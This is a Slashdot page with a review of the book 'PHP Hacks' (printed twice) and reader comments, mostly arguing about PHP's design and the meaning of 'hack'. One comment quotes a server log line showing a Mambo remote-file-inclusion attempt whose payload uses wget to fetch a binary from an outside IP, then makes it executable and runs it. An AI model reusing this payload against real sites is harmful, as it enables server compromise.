PHP Hacks
Michael J. Ross writes "Given the current popularity of the Web development language PHP, it makes sense that newcomers to the language have a large number of introductory and reference volumes from which to choose. But for the more advanced PHP programmer, there are far fewer titles that explain how to make the most of the language, by applying it to solve relatively substantial problems. One such book is PHP Hacks: Tips & Tools for Creating Dynamic Websites, by Jack D. Herrington. Read the rest of Michael's review.
PHP Hacks
author
Jack D. Herrington
pages
468
publisher
O'Reilly Media
rating
8
reviewer
Michael J. Ross
ISBN
0596101392
summary
Practical techniques and source code for improving PHP-based Web sites and applications.
The book was published by O'Reilly Media in December of 2005. Despite its title, PHP Hacks: Tips & Tools for Creating Dynamic Websites is clearly intended to show how PHP's capabilities can be extended beyond its most common usage for creating dynamic and database-driven Web pages, and can be employed in such areas as graphics, reporting, Web site testing, code generation, and even fun purposes (for those few programmers who find the former topics less than entertaining). The author, assisted by six contributors listed in the Credits section, manages to pack an impressive number of general programming ideas and PHP-specific topics within this title's 468 pages. The material is grouped into 10 chapters, each of which contains a generous number of "hacks," each in its own section.
As with most if not all of the other titles published by O'Reilly, this book has a Web page that offers an overview of the book, its table of contents, all of the book's code (in both Zip and tar file format), and a list of confirmed and unconfirmed errata. In addition, the site hosts five sample hacks (in PDF format): accessing iPhoto pictures, generating Excel spreadsheets, avoiding the "double submit" problem, reading RSS feeds on your PSP, and creating custom Google Maps. Perusing these hacks would give the prospective buyer a clear sense as to the style of the book's other 95 hacks, as well as the (low) level of PHP expertise needed to understand them.
The book begins with a preface that describes the organization, conventions, and icons chosen for the book. Also, it covers the legality of the code samples, lists contact information, and mentions O'Reilly's Safari online book service, which contains this title among many other PHP resources. What is perhaps most unique about this book's preface is that the author identifies over half a dozen weaknesses commonly seen in PHP applications, and explains how his book addresses those problems. In addition, he makes explicit how some of the hacks can be used for jazzing up one's Web site or Web-based application.
The first chapter discusses how to install PHP on Windows, Mac OS X, and Linux, and then verify that the installation was done properly. Herrington then briefly explains how to install MySQL and perform some basic database management. The chapter concludes with coverage of installing the PEAR library on your local machine and on your Web host's server (which is incorrectly identified as your "ISP machine," apparently assuming that most developers choose their Internet service providers for hosting their sites, when in fact the opposite is true). Since the typical reader of a non-beginning book such as this no doubt has one or more introductory and/or reference PHP books at hand, it would seem superfluous to waste time and space explaining how to install these components. But few pages are taken up by the material.
The next chapter is devoted to hacks that help to jazz up the design of one's Web sites, including how to create a skinnable interface, build a breadcrumb trail, create HTML boxes, add tabs to your interface, and other valuable techniques. Subsequent chapters offer hacks in the areas of dynamic HTML (DHTML), graphics and digital pictures, databases and XML, application and e-commerce design, patterns and PHP object orientation, testing and documentation generation, and building alternative user interfaces. The 10th and final chapter covers some "fun stuff," such as creating dynamic playlists, developing a media upload/download center, and even putting Wikipedia on a Sony PlayStation Portable.
Rather than try to explain in detail all of the many topics covered in the book, I instead encourage the interested reader to visit the publisher's Web page, and scan through the table of contents provided, to get a better idea as to how much of the book would be of interest to the individual. Also, the five sample hacks listed on the site, would be well worth examining and trying out. Overall, the topics chosen reflect favorably upon the judgment of the lead author and the other contributors to the book. The typical PHP veteran would likely be interested in most of the applications covered, and would probably learn some new tricks, especially in the areas of patterns and code testing, regardless of their level of experience.
Like all books, this one is not perfect. As with the first printing of most technical books; particularly those chock-full of source code; the book contains a fair number of errata, likely even greater in number than those reported and listed on the publisher's Web site, as mentioned earlier. Consequently, any reader who chooses to test the sample code and he or she would be encouraged to do so; should keep one browser window or editor buffer open and devoted to those errata, so as to minimize the time spent trying to figure out why some sample code is not working as advertised.
Some readers posting in forums have complained that the sample code has evidently not been fully tested on all platforms, nor in all Web browsers. Since few if any reviewers would have the time, resources, or inclination to verify these claims, it should suffice to simply bear in mind that the script output and other behavior detailed in the book might not exactly match those experienced during one's own usage of the code.
The fact that there were several cooks in the kitchen brewing up this particular book, is obvious from the way that the code formatting is not consistent throughout the book, as well as the variety of problem-solving styles. Fortunately, neither weakness is of much consequence, and the latter might even be considered a "feature," as it allows the reader to see how a number of veteran PHP developers approach solving a problem.
Most technical works written by a team of authors, end up as excessive "doorstops" that are often frustrating to read as a result of the wildly inconsistent writing and coding styles, to say nothing of the material often being out of date as a result of the long production time needed by the publisher. The opposite case can be even worse, when a publisher releases a book that was clearly thrown together as quickly as possible to capitalize upon a hot new trend in technology. Thankfully, PHP Hacks keeps the style differences to a minimum, and benefits from having a lead author responsible for the book as a whole.
Some programming purists may take issue with the use of the term "hack" used as a synonym for a small PHP application or the use of such for solving a problem, since the majority of the PHP scripts in the book do not involve any programming or problem-solving that would be considered notably clever or elegant. Yet the misuse of the term seems to be spreading, and is not limited to this particular book ; another example of marketing overpowering stability of language. In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.
Yet aside from these complaints, PHP Hacks is a worthy title that offers explanations and source code for many valuable site-enhancing applications, testing and code generation techniques, and critical e-commerce safeguards. I recommend this book to any PHP developer who would like to add to their Web sites' capabilities, as well as their knowledge of what PHP can do.
Michael J. Ross is a freelance writer, computer consultant, and the editor of the free newsletter of PristinePlanet.com."
You can purchase PHP Hacks: Tips & Tools for Creating Dynamic Websites from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
The book was published by O'Reilly Media in December of 2005. Despite its title, PHP Hacks: Tips & Tools for Creating Dynamic Websites is clearly intended to show how PHP's capabilities can be extended beyond its most common usage for creating dynamic and database-driven Web pages, and can be employed in such areas as graphics, reporting, Web site testing, code generation, and even fun purposes (for those few programmers who find the former topics less than entertaining). The author, assisted by six contributors listed in the Credits section, manages to pack an impressive number of general programming ideas and PHP-specific topics within this title's 468 pages. The material is grouped into 10 chapters, each of which contains a generous number of "hacks," each in its own section.
As with most if not all of the other titles published by O'Reilly, this book has a Web page that offers an overview of the book, its table of contents, all of the book's code (in both Zip and tar file format), and a list of confirmed and unconfirmed errata. In addition, the site hosts five sample hacks (in PDF format): accessing iPhoto pictures, generating Excel spreadsheets, avoiding the "double submit" problem, reading RSS feeds on your PSP, and creating custom Google Maps. Perusing these hacks would give the prospective buyer a clear sense as to the style of the book's other 95 hacks, as well as the (low) level of PHP expertise needed to understand them.
The book begins with a preface that describes the organization, conventions, and icons chosen for the book. Also, it covers the legality of the code samples, lists contact information, and mentions O'Reilly's Safari online book service, which contains this title among many other PHP resources. What is perhaps most unique about this book's preface is that the author identifies over half a dozen weaknesses commonly seen in PHP applications, and explains how his book addresses those problems. In addition, he makes explicit how some of the hacks can be used for jazzing up one's Web site or Web-based application.
The first chapter discusses how to install PHP on Windows, Mac OS X, and Linux, and then verify that the installation was done properly. Herrington then briefly explains how to install MySQL and perform some basic database management. The chapter concludes with coverage of installing the PEAR library on your local machine and on your Web host's server (which is incorrectly identified as your "ISP machine," apparently assuming that most developers choose their Internet service providers for hosting their sites, when in fact the opposite is true). Since the typical reader of a non-beginning book such as this no doubt has one or more introductory and/or reference PHP books at hand, it would seem superfluous to waste time and space explaining how to install these components. But few pages are taken up by the material.
The next chapter is devoted to hacks that help to jazz up the design of one's Web sites, including how to create a skinnable interface, build a breadcrumb trail, create HTML boxes, add tabs to your interface, and other valuable techniques. Subsequent chapters offer hacks in the areas of dynamic HTML (DHTML), graphics and digital pictures, databases and XML, application and e-commerce design, patterns and PHP object orientation, testing and documentation generation, and building alternative user interfaces. The 10th and final chapter covers some "fun stuff," such as creating dynamic playlists, developing a media upload/download center, and even putting Wikipedia on a Sony PlayStation Portable.
Rather than try to explain in detail all of the many topics covered in the book, I instead encourage the interested reader to visit the publisher's Web page, and scan through the table of contents provided, to get a better idea as to how much of the book would be of interest to the individual. Also, the five sample hacks listed on the site, would be well worth examining and trying out. Overall, the topics chosen reflect favorably upon the judgment of the lead author and the other contributors to the book. The typical PHP veteran would likely be interested in most of the applications covered, and would probably learn some new tricks, especially in the areas of patterns and code testing, regardless of their level of experience.
Like all books, this one is not perfect. As with the first printing of most technical books; particularly those chock-full of source code; the book contains a fair number of errata, likely even greater in number than those reported and listed on the publisher's Web site, as mentioned earlier. Consequently, any reader who chooses to test the sample code and he or she would be encouraged to do so; should keep one browser window or editor buffer open and devoted to those errata, so as to minimize the time spent trying to figure out why some sample code is not working as advertised.
Some readers posting in forums have complained that the sample code has evidently not been fully tested on all platforms, nor in all Web browsers. Since few if any reviewers would have the time, resources, or inclination to verify these claims, it should suffice to simply bear in mind that the script output and other behavior detailed in the book might not exactly match those experienced during one's own usage of the code.
The fact that there were several cooks in the kitchen brewing up this particular book, is obvious from the way that the code formatting is not consistent throughout the book, as well as the variety of problem-solving styles. Fortunately, neither weakness is of much consequence, and the latter might even be considered a "feature," as it allows the reader to see how a number of veteran PHP developers approach solving a problem.
Most technical works written by a team of authors, end up as excessive "doorstops" that are often frustrating to read as a result of the wildly inconsistent writing and coding styles, to say nothing of the material often being out of date as a result of the long production time needed by the publisher. The opposite case can be even worse, when a publisher releases a book that was clearly thrown together as quickly as possible to capitalize upon a hot new trend in technology. Thankfully, PHP Hacks keeps the style differences to a minimum, and benefits from having a lead author responsible for the book as a whole.
Some programming purists may take issue with the use of the term "hack" used as a synonym for a small PHP application or the use of such for solving a problem, since the majority of the PHP scripts in the book do not involve any programming or problem-solving that would be considered notably clever or elegant. Yet the misuse of the term seems to be spreading, and is not limited to this particular book ; another example of marketing overpowering stability of language. In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.
Yet aside from these complaints, PHP Hacks is a worthy title that offers explanations and source code for many valuable site-enhancing applications, testing and code generation techniques, and critical e-commerce safeguards. I recommend this book to any PHP developer who would like to add to their Web sites' capabilities, as well as their knowledge of what PHP can do.
Michael J. Ross is a freelance writer, computer consultant, and the editor of the free newsletter of PristinePlanet.com."
You can purchase PHP Hacks: Tips & Tools for Creating Dynamic Websites from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
Yet again Slashdot links to BN.com for kickbacks when Amazon has it cheaper.
PHP is a bunch of hacks.
ORA is making money of the trade name PHP - they should sue him! Least you forget we are talking about a company who feels it is ok to threaten other how put 2.0 after the word web.
...as those persons whose technical acuities are slightly greater than "Script Kiddies". Maybe I just hate PHP.
I pity the foo that isn't metasyntactic
And....? I presume if all the code samples were legal, such a statement would be unnecessary. I further presume such a statement to that effect would not warrant inclusion in a book review.
So just what is the aspect of the legality of the code samples in need of clarification? Is one of the 'hacks' phishing with PHP? Adding free copies to your Kinkos card? Downloading launch codes from the WOPR? They're using the PHP to cook up meth, aren't they? *peer*
In the preface of PHP Hacks, the author explains that he uses the term in the positive sense of creative participation, to help reclaim it from its popular usage in place of the more traditional term "cracking," i.e., breaking into systems.
I hate historical revisionism like this. The traditional word for breaking into systems is HACKING, because breaking into systems was considering "clever", along with other clever usages of computers. Some busybodies decided that it gave hackers a bad name, and thus "cracking" was coined. The word is an abomination and I, for one, refuse to use it.
Sometimes it's best to just let stupid people be stupid.
What defines a "hack" these days.
Maybe I'm a bit bitter, and even at the risk of sounding like a troll I'm just gonna say it, isn't writing ANY decent amount of php kind of a hack.
Personally I'm a django fan, I really respect the rails kids for what they are doing too. Once you start doing web development in a real dynamic language you realize that web development in php in most cases IS a hack.
I've written lots of php over the years, and I'm so glad to know that I NEVER HAVE TO DO IT AGAIN. Unlike in other languages the "hacks" in php tend to be a necessity for doing development in the language. I've really tried to write "clean" code in php and it's just not possible for any project of a decent size.
Any disagreements?
1. Install Drupal.
OK, I'm good to go!
What if I do the same thing, and I do get different results?
it's just the fashion at the moment. Bashing Java is a classic, but PHP, like 80's ra-ra skirts and lip gloss, goes in and out of fashion constantly. Just stick to praising R-o-R, that'll keep the karma nice n' safe.
I thought maybe it would explain the constant hack attempts on non-existent php apps on my webservers.
/articles/mambo/index2.php?_REQUEST[option]=com_co ntent&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolu te_path=http://72.18.195.161/cmd.gif?&cmd=cd%20/tm p;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon ;./lnikon;echo%20YYY;echo| HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
[admin@bsever logs]$ tail -100000 access_log |grep php -i |wc -l
2128
2% of last 100K hits. I run no php on it + this is a test server that is not linked to anywhere public.
For example:
65.110.43.170 - - [04/Jul/2006:00:37:03 -0700] "GET
I believe the article author is talking about licensing of code samples. That's always a problem with some books, there's no license for the sample code, so you have to if it can be used in any project or none at all. Having a clear explanation for using the sample code is sometimes nice when you're dropping some code from an example into your code to fix a problem you've been having.
"Advanced PHP programmer"? Now there's a contradition for you.
Lost: Sig, white with black letters. No collar. Reward if found!
... are ex-PERL CGI coders.
Which would explain a lot.
(I fall in to this category)
anyone can tell me if this is to be taken seriously, or rather seen as worthless php-bashing?
http://tnx.nl/php
This sig does not contain any SCO code.
Slashdot provides a place for reviews of technical books. They get to specify the URL and get referrer credit for it. The reson it is BN is because of the Amazon "One-click" patent, for which they sued BN - so using Barnes and Nobble both supports Slashdot, and provides a small way to fight obvious SW patents...
On the other hand, looks like the parent put their own referrer link to Amazon - now that's what I call cheating!
One of the highest paid coders I know uses php.......
Personally I wouldn't touch it, not my kind of coding, but you have to admit it's good stuff.
Also, lets not forget that there's a lot of very complex code underlying php, and the guys who wrote that simply *are* very good at what they do. Advanced is a word I'd be comfortable with.
You don't find that kind of talent everywhere, but where you do we all benifit by getting to do things in a simpler way.
Has anyone tried the CakePHP package? It's supposed to be similar to RoR, but i'm unable to deploy a Ruby based solution at work due to stupid policys (like: everybody knows php, nobody knows ruby... pfff). If not, are there any rails-like project for PHP anyone care to recommend?
Thanks!
Everybody has a purpose in life, maybe mine is to lurk in slashdot.
Umm, despite its title, what?
"Everything populair is wrong" -- Oscar Wilde
Yes, PHP is relatively easy to begin coding in, what with its fairly forgiving variable typing (or what some would call non-typing) and its babysitting of memory. I would even agree that PHP tends to attract more bozos and wannabes for this very reason. However, PHP is, and continues to be the most widely used non M$ language for open sourced web applications. This is because it works. Sure, PHP allows sloppy coding, but it also allows clean and well written code. PHP is a lightweight, nimble, comprehendable scripting language that is very well suited for its intended environment: the web.
-Peter
Save yourself $11.08 by buying the book here: PHP Hacks. And if you use the "secret" A9.com discount, you can save an extra 1.57%! That's a total savings of $11.38, or 38.56%!
All of those observations are true, but that doesn't mean you shouldn't use PHP. As with any tool, you must consider the user, their skill level, and the project requirements when making your decision.
Many of PHP's inconsistencies stem from the fact that it is an open source language. While it has likely changed now, many functions were accepted into the source without anyone ensuring a consistent naming scheme, parameter order or behavior. To maintain backward compatibility for what is now a very large user base, this cannot be easily changed at this point.
Several of the examples of redundant functions are not redundant at all. The escaping functions relate to the specific database they are escaping the data for. Oracle requires that things be escaped differently than MySQL, a single function wouldn't work.
That aside, there are many functions that perform tasks you could accomplish in other ways. For instance, finding if a string contains another string. I might use strpos('mystring', 'my') but there is also a function that is named specifically for the purpose of finding whether a string contains another string. That function would return a simple true/false while my example would actually return the position of the substring or false but I can interpret it to tell me what I need to know. My guess was that the extra functions are an attempt to make the language accessible to less experienced programmers. For me, I would rather write my own functions as needed than muddy the PHP parser with extra functions, but I'm not on the development team so it's not my decision to make.
PHP has namespaces though they are not formal and therefore not as efficient. For example, all the MySQL functions begin with mysql_ and pSpell functions begin with pspell_. Starting with PHP5 and full OOP support, they now have class based namespaces like SOAPServer::addFunction(). Each namespace regardless of type, represents a package compiled into PHP. Though the default compile comes with many packages installed, you can decrease the number of functions by compiling without support for DBs and other packages you don't need. This would decrease the number of functions PHP is parsing for (correct me if I'm wrong on this.)
Perl may be compact, but if you notice in the examples, for someone who isn't familiar with Perl, the code provided wouldn't be immediately understandable, and Perl code can be optimized and obfuscated even more than that.
On the flip side is Java, which at its core is compact, but with the Java standard library of methods, there are nearly unlimited numbers of methods to do just about anything and everything you could ever think of. Add to that the frameworks that exist: struts, beans, servlets, jsp... just to scratch the surface and we find that Java is infinitely flexible and powerful. For those that know it, it is probably the greatest thing ever, but for someone starting out, it is incredibly overwhelming.
If you use PHP and it fulfills your needs, then keep using it. If you run into a lot of limitations or frustrations because it can't do things you could do in xyz language, or because you are building projects that become difficult to maintain due to their scale, then you might want to explore other options. Ruby/Perl/Java/ASP/Cold Fusion has its pros and cons as much as PHP or anything else. It's up to you as the professional to evaluate your specific needs and options and make the right decision for you.
Michael
Strings will not be broken in PHP 6. Most of the changes that might cause older applications or current applications taking advantage of deprecated functions to fail have had years to make the changes needed to prevent such failures and/or abnormal program terminations. http://www.corephp.co.uk/archives/19-Prepare-for-P HP-6.html
http://wiki.cc/php/PHP6
"Crack" was not so newly coined as such. Breaking encryption was referred to as "cracking," as well as breaking copy protection. Breaking into locked system doesn't seem that far off from these usages.
I understand that PHP has a very solid newbie user base, but let's not forget monstrous sites like Digg and Wikipedia run on PHP + MySQL
I'm a Mac OS X / Linux guy, so programming PHP makes me feel dirty. I avoid that other dirty thing (Windows) as much as possible. Too dirty for me. Just as quick, though.
Even if we granted that the functions can't be easily changed, that's got nothing to do with whether it's open source or not. But of course, I'm not willing to grant that it can't be easily changed. Make the next major version include all the functions as modules you need to load, and perhaps provide an utility to tell upgraders which files require which modules.
Several of the examples of redundant functions are not redundant at all. The escaping functions relate to the specific database they are escaping the data for. Oracle requires that things be escaped differently than MySQL, a single function wouldn't work.
That's a terrible example. What this means is simply that the language doesn't have decent database abstraction facilities (and in fact, PHP is infamous for precisely this). In a well designed database access framework, you specify which kind of database you're connecting to, and the framework picks the appropriate methods for doing all the database flavor-specific stuff. Or in other words, you tell the system "connect to this database" and "escape this string for this connection," and the system figures out, based on the kind of database, what to do.
Are you adequate?
Did any of you failed PHP programmers ever think maybe its your own ability to write well formed code?
Since many of the largest and most complicated sites in the world use PHP flawlessly, I think its just your amateurish programming style requiring a compiler to bitch slap you till you do the right thing. That's like blaming the razor blade company when you finally relive us PHP programmers from having to listen to your bitching by committing suicide. Just because you have the freedom, doesnt mean you shouldn't exercise self control.
Incidentally, if you use PHP for a few months you will find the names to functions coming pretty automatically. You could also grab a copy of an IDE like Zend Studio which shows a list of possible function endings, descriptions and a param summary (even for user defined functions, respecting namespace and supporting classes).
The reason wikipedia is broken to various degrees most of the time is because its built in PHP. The reason they have to constantly beg for money to buy WAY too many servers is because its built in PHP. Choosing any reasonable language would have made it scale far better with much less hardware.
PHP seems to be one of those red-button topics on Slashdot. If the word even appears in the text of the story, the topic at hand is dropped entirely in favour of having a big wanking session and patting each other on the back for knowing a 'superior' language, or for having been into Linux 'before it was cool', or whatever the general topic happens to be.
And not only is this stuff offtopic, it's also just so painfully redundant. I swear, that Slashdot story generator page from a while back was pretty impressive, but I'm starting to think maybe I could cook up a Slashdot comment generator as an add-on.
Having looked at the book's website, some of the hacks involve such things as "creating custom MP3 broadcasts" and "integrating web sites with Google Maps." There are potential legal ramifications to these sorts of applications. Google Maps comes with a terms of service agreement, for example; and you can imagine the sort of trouble that someone might get into if they set up a "custom MP3 broadcast" that was noticed by anyone other than their circle of friends on Myspace. I don't have the book, but I'm willing to bet that discussions of the legality of the code samples are primarily comprised of disclaimers.
Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
C? (Ouch, my poor karma -- but seriously, memory management is a security vulnerability in the hands of the average programmer AND every programmer thinks they are above average).
Help poke pirates in the eyepatch, arr.
It works for me. Also, I don't think most people host their web server despite what the author thinks.
My hosting company offer a full suite of opensource solutions and it's tough to beat. Sure I am just a weekend code-warrior, but as long as I am having fun.
Getting old fast, Shit!
try Code Igniter as a simple yet well structured MVC application framework for PHP
I've watched a few people trying to program in PHP, and they all follow the same pattern: go to php.net, find the function they want, write a bit of code, test. Go to php.net, find, write, test. This was nice, they could just be learning, everything was fine.
However, they were still having to look at the php.net manual a month later. That isn't fine. Come on, you've been using PHP for a few weeks now, surely you can remember which function it is, how it's spelled, and what the arguments are by using it a few times?
I don't care about speed, most scripts are fast enough that you can't tell the difference. I don't care about those horrible ideas of the past like register_globals (please don't mention that again) and magic_quotes (which are unbelievably STILL on by default). I don't care about the hacks and 'features' that PHP implements poorly, like regular expression support. I don't care about PHP's weird typing system. I want to know why is PHP so horribly inconsistent like it is?
I want to escape a string for MySQL. Which function do I use? addslashes()? mysql_escape_string()? Nope, mysql_real_escape_string(). There are about ten different functions for escaping strings, all of them different.
I want to find a string in a string. I know that one, it's strstr(haystack, needle). Hang on, now I want to use a regular expression. preg_match(needle, haystack). Why the pointless argument-switching?
I want to convert binary to hex. I know of the function strtolower(), so I use bintohex(), right? nope, bin2hex(). Don't ask why.
I want to encode HTML. I remember the function (I think), isn't it html_entities()? No, it's htmlentities. More pointlessness. Why do away with the underscore?
The excuse they use is that it's friendlier for people coming from these toolkits: C uses strstr, mysql uses things with underscores. I don't know about some people, but I'm able to learn a new way of doing things, especially a new way that doesn't find me tearing my hair out several days later.
For something that's supposed to have had a small team of close developers, it doesn't look like it. Look at any long PHP manual page. Half the functions have underscores in them, the other half don't. The string functions are especially weird. Some of them seem to be of the form str_foo(), some of them are strfoo(), others are neither.
PHP developers, seriously. You may have found PHP, but looking at the manual all the time is not the usual way to program. With pretty much any other language I learned, I've been able to keep the feature set in my head easily - consistent, either it uses underscores or it doesn't, function arguments don't change around for similar functions, stuff like that. I became annoyed at looking at the PHP manual every time I wanted to use a function. array_push( array, 2 ) or array_push ( 2, array )? See, I can't even remember how those arguments go.
Right, back to your post. I'm not saying that it's not possible to write a lot of good code with PHP - you certainly have, and I've written my fair share of lines in it. I just find that PHP is a pain to write. Instead of coding, I spent more time thinking "is this the way I have to do it?"
Oh, and its Unicode support is terrible too.
Guy asked me for a quarter for a cup of coffee. So I bit him.
I just bought this book last week. I'm mainly a C++/Java guy but I've been doing lots of PHP over the last year or so. To stay on topic, I was fairly happy with the content of the book. Probably about half of it was stuff I already knew or stuff that was useful but really not PHP specific (DHTML, Javascript, OO design patterns). But there were also quite a few useful hacks that made it worthwhile. Overall, it is good book for thumbing through in your spare time to pick up some new tricks.
I don't know, PHP may have its faults, but I enjoy working with it:
http://wsframework.sf.net/
It's got nothing to do with 1-click patents, (Slashdot had frontpage affiliate links to amazon.com for years after that incident). BN gives a higher kickback than Amazon does.
Do you even lift?
These aren't the 'roids you're looking for.